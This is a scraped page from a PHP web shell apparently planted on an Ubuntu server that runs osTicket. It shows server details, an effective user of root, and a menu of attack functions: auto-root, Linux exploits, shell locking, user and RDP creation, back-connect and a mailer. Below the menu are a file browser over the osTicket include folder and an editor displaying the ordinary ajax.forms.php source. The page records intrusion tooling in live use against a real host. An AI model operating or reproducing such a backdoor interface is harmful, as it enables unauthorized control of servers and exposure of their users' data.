Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.51
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
osticket /
upload /
include /
[ HOME SHELL ]
Name
Size
Permission
Action
cli
[ DIR ]
drwxr-xr-x
client
[ DIR ]
drwxr-xr-x
config
[ DIR ]
drwxr-xr-x
fpdf
[ DIR ]
drwxr-xr-x
i18n
[ DIR ]
drwxr-xr-x
mpdf
[ DIR ]
drwxr-xr-x
pear
[ DIR ]
drwxr-xr-x
plugins
[ DIR ]
drwxr-xr-x
staff
[ DIR ]
drwxr-xr-x
upgrader
[ DIR ]
drwxr-xr-x
.MANIFEST
163.74
KB
-rw-r--r--
.htaccess
14
B
-rw-r--r--
JSON.php
33.13
KB
-rw-r--r--
PasswordHash.php
6.92
KB
-rw-r--r--
Spyc.php
31.73
KB
-rw-r--r--
UniversalClassLoader.php
8.61
KB
-rw-r--r--
ajax.admin.php
7.21
KB
-rw-r--r--
ajax.config.php
4.55
KB
-rw-r--r--
ajax.content.php
9.47
KB
-rw-r--r--
ajax.draft.php
12.72
KB
-rw-r--r--
ajax.export.php
1006
B
-rw-r--r--
ajax.filter.php
874
B
-rw-r--r--
ajax.forms.php
13.3
KB
-rw-r--r--
ajax.i18n.php
4.91
KB
-rw-r--r--
ajax.kbase.php
2.93
KB
-rw-r--r--
ajax.note.php
2.05
KB
-rw-r--r--
ajax.orgs.php
11.7
KB
-rw-r--r--
ajax.schedule.php
4.29
KB
-rw-r--r--
ajax.search.php
12.35
KB
-rw-r--r--
ajax.sequence.php
3.2
KB
-rw-r--r--
ajax.staff.php
7.84
KB
-rw-r--r--
ajax.tasks.php
30.25
KB
-rw-r--r--
ajax.thread.php
8.89
KB
-rw-r--r--
ajax.tickets.php
74
KB
-rw-r--r--
ajax.tips.php
1.66
KB
-rw-r--r--
ajax.upgrader.php
2.24
KB
-rw-r--r--
ajax.users.php
17.8
KB
-rw-r--r--
api.cron.php
909
B
-rw-r--r--
api.tickets.php
8.26
KB
-rw-r--r--
class.ajax.php
1.42
KB
-rw-r--r--
class.api.php
13.14
KB
-rw-r--r--
class.app.php
1.47
KB
-rw-r--r--
class.attachment.php
6.87
KB
-rw-r--r--
class.auth.php
43.91
KB
-rw-r--r--
class.avatar.php
6.43
KB
-rw-r--r--
class.banlist.php
2.54
KB
-rw-r--r--
class.base32.php
4.06
KB
-rw-r--r--
class.businesshours.php
6.72
KB
-rw-r--r--
class.canned.php
8.58
KB
-rw-r--r--
class.captcha.php
1.73
KB
-rw-r--r--
class.category.php
11.04
KB
-rw-r--r--
class.charset.php
3.4
KB
-rw-r--r--
class.cli.php
9.48
KB
-rw-r--r--
class.client.php
15.02
KB
-rw-r--r--
class.collaborator.php
5.44
KB
-rw-r--r--
class.company.php
2.65
KB
-rw-r--r--
class.config.php
58.51
KB
-rw-r--r--
class.cron.php
3.54
KB
-rw-r--r--
class.crypto.php
18.96
KB
-rw-r--r--
class.csrf.php
2.36
KB
-rw-r--r--
class.dept.php
32.39
KB
-rw-r--r--
class.dispatcher.php
6.72
KB
-rw-r--r--
class.draft.php
6.25
KB
-rw-r--r--
class.dynamic_forms.php
62.12
KB
-rw-r--r--
class.email.php
18.09
KB
-rw-r--r--
class.error.php
1.69
KB
-rw-r--r--
class.export.php
31.8
KB
-rw-r--r--
class.faq.php
15.05
KB
-rw-r--r--
class.file.php
32.41
KB
-rw-r--r--
class.filter.php
27.75
KB
-rw-r--r--
class.filter_action.php
20.27
KB
-rw-r--r--
class.format.php
40.68
KB
-rw-r--r--
class.forms.php
183.13
KB
-rw-r--r--
class.http.php
5.52
KB
-rw-r--r--
class.i18n.php
24.2
KB
-rw-r--r--
class.import.php
6.44
KB
-rw-r--r--
class.json.php
2.69
KB
-rw-r--r--
class.knowledgebase.php
5.8
KB
-rw-r--r--
class.list.php
41.85
KB
-rw-r--r--
class.lock.php
4.05
KB
-rw-r--r--
class.log.php
1.54
KB
-rw-r--r--
class.mailer.php
24.05
KB
-rw-r--r--
class.mailfetch.php
37.24
KB
-rw-r--r--
class.mailparse.php
26.7
KB
-rw-r--r--
class.message.php
6.4
KB
-rw-r--r--
class.migrater.php
5.2
KB
-rw-r--r--
class.misc.php
8.15
KB
-rw-r--r--
class.model.php
2.3
KB
-rw-r--r--
class.nav.php
14.14
KB
-rw-r--r--
class.note.php
2.39
KB
-rw-r--r--
class.organization.php
22.44
KB
-rw-r--r--
class.orm.php
119.54
KB
-rw-r--r--
class.osticket.php
18.8
KB
-rw-r--r--
class.ostsession.php
9.82
KB
-rw-r--r--
class.page.php
10.65
KB
-rw-r--r--
class.pagenate.php
5.13
KB
-rw-r--r--
class.passwd.php
1.19
KB
-rw-r--r--
class.pdf.php
3.62
KB
-rw-r--r--
class.plugin.php
23.89
KB
-rw-r--r--
class.priority.php
1.81
KB
-rw-r--r--
class.queue.php
102.01
KB
-rw-r--r--
class.report.php
11.47
KB
-rw-r--r--
class.role.php
11.12
KB
-rw-r--r--
class.schedule.php
46.03
KB
-rw-r--r--
class.search.php
56.26
KB
-rw-r--r--
class.sequence.php
7.27
KB
-rw-r--r--
class.setup.php
3.55
KB
-rw-r--r--
class.signal.php
4.16
KB
-rw-r--r--
class.sla.php
8.64
KB
-rw-r--r--
class.staff.php
52.41
KB
-rw-r--r--
class.task.php
49.97
KB
-rw-r--r--
class.team.php
12.01
KB
-rw-r--r--
class.template.php
23.33
KB
-rw-r--r--
class.thread.php
107.11
KB
-rw-r--r--
class.thread_actions.php
17.08
KB
-rw-r--r--
class.ticket.php
162.72
KB
-rw-r--r--
class.timezone.php
21.94
KB
-rw-r--r--
class.topic.php
19.07
KB
-rw-r--r--
class.translation.php
34.38
KB
-rw-r--r--
class.upgrader.php
13.54
KB
-rw-r--r--
class.user.php
42.45
KB
-rw-r--r--
class.usersession.php
4.99
KB
-rw-r--r--
class.util.php
8.01
KB
-rw-r--r--
class.validator.php
12.05
KB
-rw-r--r--
class.variable.php
11.93
KB
-rw-r--r--
class.xml.php
3.23
KB
-rw-r--r--
class.yaml.php
1.16
KB
-rw-r--r--
htmLawed.php
53.53
KB
-rw-r--r--
html2text.php
33.63
KB
-rw-r--r--
index.php
37
B
-rw-r--r--
mysqli.php
8.55
KB
-rw-r--r--
ost-config.php
5.61
KB
-rw-r--r--
ost-sampleconfig.php
5.62
KB
-rw-r--r--
tnef_decoder.php
19.82
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : ajax.forms.php
<?php require_once(INCLUDE_DIR . 'class.topic.php'); require_once(INCLUDE_DIR . 'class.dynamic_forms.php'); require_once(INCLUDE_DIR . 'class.forms.php'); class DynamicFormsAjaxAPI extends AjaxController { function getForm($form_id) { $form = DynamicForm::lookup($form_id); if (!$form) return; foreach ($form->getFields() as $field) { $field->render(); } } function getFormsForHelpTopic($topic_id, $client=false) { if (!$_SERVER['HTTP_REFERER']) Http::response(403, 'Forbidden.'); if (!($topic = Topic::lookup($topic_id))) Http::response(404, 'No such help topic'); if ($_GET || isset($_SESSION[':form-data'])) { if (!is_array($_SESSION[':form-data'])) $_SESSION[':form-data'] = array(); $_SESSION[':form-data'] = array_merge($_SESSION[':form-data'], Format::htmlchars($_GET)); } foreach ($topic->getForms() as $form) { if (!$form->hasAnyVisibleFields()) continue; ob_start(); $form->getForm($_SESSION[':form-data'])->render(array( 'staff' => !$client, 'mode' => 'create')); $html .= ob_get_clean(); ob_start(); print $form->getMedia(); $media .= ob_get_clean(); } return $this->encode(array( 'media' => $media, 'html' => $html, )); } function getClientFormsForHelpTopic($topic_id) { return $this->getFormsForHelpTopic($topic_id, true); } function getFieldConfiguration($field_id) { $field = DynamicFormField::lookup($field_id); include(STAFFINC_DIR . 'templates/dynamic-field-config.tmpl.php'); } function saveFieldConfiguration($field_id) { if (!($field = DynamicFormField::lookup($field_id))) Http::response(404, 'No such field'); $DFF = 'DynamicFormField'; // Capture flags which should remain unchanged $p_mask = $DFF::MASK_MASK_ALL; if ($field->isPrivacyForced()) { $p_mask |= $DFF::FLAG_CLIENT_VIEW | $DFF::FLAG_AGENT_VIEW; } if ($field->isRequirementForced()) { $p_mask |= $DFF::FLAG_CLIENT_REQUIRED | $DFF::FLAG_AGENT_REQUIRED; } if ($field->hasFlag($DFF::FLAG_MASK_DISABLE)) { $p_mask |= $DFF::FLAG_ENABLED; } // Capture current state of immutable flags $preserve = $field->flags & $p_mask; // Set admin-configured flag states $flags = array_reduce($_POST['flags'], function($a, $b) { return $a | $b; }, 0); $field->flags = $flags | $preserve; if ($field->setConfiguration($_POST)) { $field->save(); Http::response(201, 'Field successfully updated'); } include STAFFINC_DIR . 'templates/dynamic-field-config.tmpl.php'; } function deleteAnswer($entry_id, $field_id) { global $thisstaff; if (!$thisstaff) Http::response(403, 'Login required'); $ent = DynamicFormEntryAnswer::lookup(array( 'entry_id'=>$entry_id, 'field_id'=>$field_id)); if (!$ent) Http::response(404, 'Answer not found'); $ent->delete(); } function getListItem($list_id, $item_id) { $list = DynamicList::lookup($list_id); if (!$list) Http::response(404, 'No such list item'); $list = CustomListHandler::forList($list); if (!($item = $list->getItem( (int) $item_id))) Http::response(404, 'No such list item'); $action = "#list/{$list->getId()}/item/{$item->getId()}/update"; $item_form = $list->getListItemBasicForm($item->ht, $item); include(STAFFINC_DIR . 'templates/list-item-properties.tmpl.php'); } function getListItems($list_id) { global $thisstaff; if (!$thisstaff) Http::response(403, 'Login required'); if (!($list = DynamicList::lookup($list_id))) Http::response(404, 'No such list'); $pjax_container = '#items'; include(STAFFINC_DIR . 'templates/list-items.tmpl.php'); } function previewListItem($list_id, $item_id) { $list = DynamicList::lookup($list_id); if (!$list) Http::response(404, 'No such list item'); $list = CustomListHandler::forList($list); if (!($item = $list->getItem( (int) $item_id))) Http::response(404, 'No such list item'); $form = $list->getListItemBasicForm($item->ht, $item); include(STAFFINC_DIR . 'templates/list-item-preview.tmpl.php'); } function saveListItem($list_id, $item_id) { global $thisstaff; $errors = array(); if (!$thisstaff) Http::response(403, 'Login required'); $list = DynamicList::lookup($list_id); if (!$list) Http::response(404, 'No such list item'); $list = CustomListHandler::forList($list); if (!$list || !($item = $list->getItem( (int) $item_id))) Http::response(404, 'No such list item'); $item_form = $list->getListItemBasicForm($_POST, $item); if ($valid = $item_form->isValid()) { if ($_item = DynamicListItem::lookup(array( 'list_id' => $list->getId(), 'value'=>$item->getValue())) ) { if ($_item && $_item->id != $item->id) $item_form->getField('value')->addError( __('Value already in use')); } if ($item_form->isValid()) { // Update basic information $basic = $item_form->getClean(); $item->update([ 'name' => $basic['name'], 'value' => $basic['value'], 'abbrev' => $basic['extra'], ], $errors); } } // Context $action = "#list/{$list->getId()}/item/{$item->getId()}/update"; $icon = ($list->get('sort_mode') == 'SortCol') ? '<i class="icon-sort"></i> ' : ''; if (!$valid || !$item->setConfiguration($_POST)) { include STAFFINC_DIR . 'templates/list-item-properties.tmpl.php'; return; } else { $item->save(); } Http::response(201, $this->encode(array( 'id' => $item->getId(), 'row' => $this->_renderListItem($item, $list), 'success' => true, ))); } function _renderListItem($item, $list=false) { $list = $list ?: $item->getList(); // Send the whole row back $prop_fields = $list->getSummaryFields(); $icon = ($list->get('sort_mode') == 'SortCol') ? '<i class="icon-sort"></i> ' : ''; ob_start(); $item->_config = null; include STAFFINC_DIR . 'templates/list-item-row.tmpl.php'; return ob_get_clean(); } function searchListItems($list_id) { global $thisstaff; if (!$thisstaff) Http::response(403, 'Login required'); elseif (!($list = DynamicList::lookup($list_id))) Http::response(404, 'No such list'); elseif (!($q = $_GET['q'])) Http::response(400, '"q" query arg is required'); $list = CustomListHandler::forList($list); $items = $list->search($q); $results = array(); foreach ($items as $I) { $display = $I->getValue(); if (isset($I->extra)) $display .= " ({$I->extra})"; $results[] = array( 'value' => $I->getValue(), 'display' => $display, 'id' => $I->id, 'list_id' => $list->getId(), ); } return $this->encode($results); } function addListItem($list_id) { global $thisstaff; if (!$thisstaff) Http::response(403, 'Login required'); elseif (!($list = DynamicList::lookup($list_id))) Http::response(404, 'No such list'); $list = CustomListHandler::forList($list); $action = "#list/{$list->getId()}/item/add"; $item_form = $list->getListItemBasicForm($_POST ?: null); $errors = array(); if ($_POST && ($valid = $item_form->isValid())) { $data = $item_form->getClean(); if ($list->isItemUnique($data)) { $item = $list->addItem($data, $errors); if ($item->setConfiguration($_POST, $errors)) { Http::response(201, $this->encode(array( 'success' => true, 'row' => $this->_renderListItem($item, $list) ))); } } else { $item_form->getField('value')->addError( __('Value already in use')); } } include(STAFFINC_DIR . 'templates/list-item-properties.tmpl.php'); } function importListItems($list_id) { global $thisstaff; if (!$thisstaff) Http::response(403, 'Login required'); elseif (!($list = DynamicList::lookup($list_id))) Http::response(404, 'No such list'); $list = CustomListHandler::forList($list); $info = array( 'title' => sprintf('%s — %s', $list->getName(), __('Import Items')), 'action' => "#list/{$list_id}/import", 'upload_url' => "lists.php?id={$list_id}&do=import-items", ); if ($_POST) { $status = $list->importFromPost($_FILES['import'] ?: $_POST['pasted']); if ($status && is_numeric($status)) Http::response(201, $this->encode( array('success' => true, 'count' => $status))); $info['error'] = $status; $info['pasted'] = Format::htmlchars($_POST['pasted']); } include(STAFFINC_DIR . 'templates/list-import.tmpl.php'); } function disableItems($list_id) { global $thisstaff; if (!$thisstaff) Http::response(403, 'Login required'); elseif (!($list = DynamicList::lookup($list_id))) Http::response(404, 'No such list'); elseif (!$_POST['ids']) Http::response(422, 'Send `ids` parameter'); $list = CustomListHandler::forList($list); foreach ($_POST['ids'] as $id) { if ($item = $list->getItem( (int) $id)) { $item->disable(); $item->save(); } else { Http::response(404, 'No such list item'); } } Http::response(200, $this->encode(array('success' => true))); } function undisableItems($list_id) { global $thisstaff; if (!$thisstaff) Http::response(403, 'Login required'); elseif (!($list = DynamicList::lookup($list_id))) Http::response(404, 'No such list'); elseif (!$_POST['ids']) Http::response(422, 'Send `ids` parameter'); $list = CustomListHandler::forList($list); foreach ($_POST['ids'] as $id) { if ($item = $list->getItem( (int) $id)) { $item->enable(); $item->save(); } else { Http::response(404, 'No such list item'); } } Http::response(200, $this->encode(array('success' => true))); } function deleteItems($list_id) { global $thisstaff; if (!$thisstaff) Http::response(403, 'Login required'); elseif (!($list = DynamicList::lookup($list_id))) Http::response(404, 'No such list'); elseif (!$_POST['ids']) Http::response(422, 'Send `ids` parameter'); foreach ($_POST['ids'] as $id) { if ($item = $list->getItem( (int) $id)) { $item->delete(); } else { Http::response(404, 'No such list item'); } } Http::response(200, $this->encode(array('success' => true))); } function upload($id) { if (!$field = DynamicFormField::lookup($id)) Http::response(400, 'No such field'); $impl = $field->getImpl(); if (!$impl instanceof FileUploadField) Http::response(400, 'Upload to a non file-field'); return JsonDataEncoder::encode( array('id'=>$impl->ajaxUpload()) ); } function attach() { global $thisstaff; $config = DynamicFormField::objects() ->filter(array('type__contains'=>'thread')) ->first()->getConfiguration(); $field = new FileUploadField(); $field->_config = $config; return JsonDataEncoder::encode( array('id'=>$field->ajaxUpload($thisstaff ? true : false)) ); } function getAllFields($id) { global $thisstaff; if (!$thisstaff) Http::response(403, 'Login required'); elseif (!$form = DynamicForm::lookup($id)) Http::response(400, 'No such form'); // XXX: Fetch the form via the list! ob_start(); include STAFFINC_DIR . 'templates/dynamic-form-fields-view.tmpl.php'; $html = ob_get_clean(); return $this->encode(array( 'success'=>true, 'html' => $html, )); } } ?>
Close